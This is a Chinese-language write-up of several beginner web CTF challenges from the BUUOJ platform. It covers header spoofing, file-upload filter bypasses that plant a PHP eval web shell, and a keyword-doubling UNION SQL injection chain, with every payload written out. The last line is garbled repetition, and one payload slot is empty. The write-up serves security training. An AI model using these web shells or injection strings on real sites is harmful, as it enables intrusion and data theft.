11.[极客大挑战 2019]Http

进入环境,一个网站

查看网页源代码,发现Secret.php

访问跳转,说来源不对

猜测修改referer头,burp抓包添加发一下

思路正确,叫我们继续修改浏览器

思路正确,提示我们用X-Forwarded-For伪造本地访问

最后成功拿到flag


12.[极客大挑战 2019]Upload

进入环境,是一个文件上传

先直接抓包,看是不是前端绕过,发现不是

http://307a8588-d1da-4fcd-854e-51bd16650ff2.node5.buuoj.cn:81/upload_file.php

然后从上传失败页面知道是php解析,常见后缀绕过:php,php3,php4,php5,phtml.pht

然后测试后发现phtml可以,当然尝试之后还要修改Content-Type头

一般图片绕过还可以加上GIF89a绕过php文件头检测

payload:

GIF89a  
<script language='php'>@eval($_POST[shell]);</script>

最后上传成功,访问upload是目录,找到文件,打开新链接,蚁剑连接就行

纯php是不行的,还有正则检验<?的

最后找到flag


13.[极客大挑战 2019]Knife

进入环境,是一个php的一句话木马

直接连接一下,看能不能成功

直接连接成功了,然后找到flag


14.[ACTF2020 新生赛]Upload

进入环境,发现是文件上传

直接上传会弹窗,猜测是前端检测

直接burp先上传正常图片,然后直接发包绕过前端限制

正常图片上传成功,并返回路径

抓包修改再发送,成功上传

访问发现解析失败,还得绕过文件后缀名

尝试后发现phtml成功绕过

payload:

看页面应该是解析成功了,蚁剑连接一下

连接成功,并拿到flag

15.[极客大挑战 2019]BabySQL

进入环境,登录框,尝试后发现单引号报错

可知是单引号闭合,重新注入一下

payload=admin" order by 1#

探测一下列数

发现过滤了: or , by

双写尝试绕过一下,payload=ad' oorrder bbyy 1#

发现正常回显,然后一直增到到4,报错,确定有三列

然后猜测一些关键词都被过滤了,看一下都有什么被过滤了

确定后有:or, by , select , union ,from, information , where

确定有三列,先获取当前数据库

payload=ad' ununionion seselectlect 1,2,database()#

当前数据库geek

然后获取表

payload=ad' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'#有两个表:b4bsql,geekuser

分别查看两个表的字段:

payload1=ad' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#

payload2=ad' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='geekuser'#

然后发现都没有flag字段,看一下其他数据库

payload=ad' ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata #1

发现有ctf数据库

查看ctf数据库表

payload=ad' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='ctf'#

发现有Flag表,查看字段

payload=ad' ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='Flag'#

发现有flag字段

然后查看字段内容

payload=ad' ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#

拿到flag


16.[极客大挑战 2019]PHP

进入环境,提示我们有备份文件,用drisearch扫一下

扫到一个www.zip文件,下载下来

然后解压里面文件,在index.php里发现传递select参数,该参数会被序列化

然后从class.php知道我们要反序列化参数password=100,username=admin,才能得到flag

b4bs标ql,geekserb4bsql,geekuserb4bsql,geekuseb4bsql,geekuserr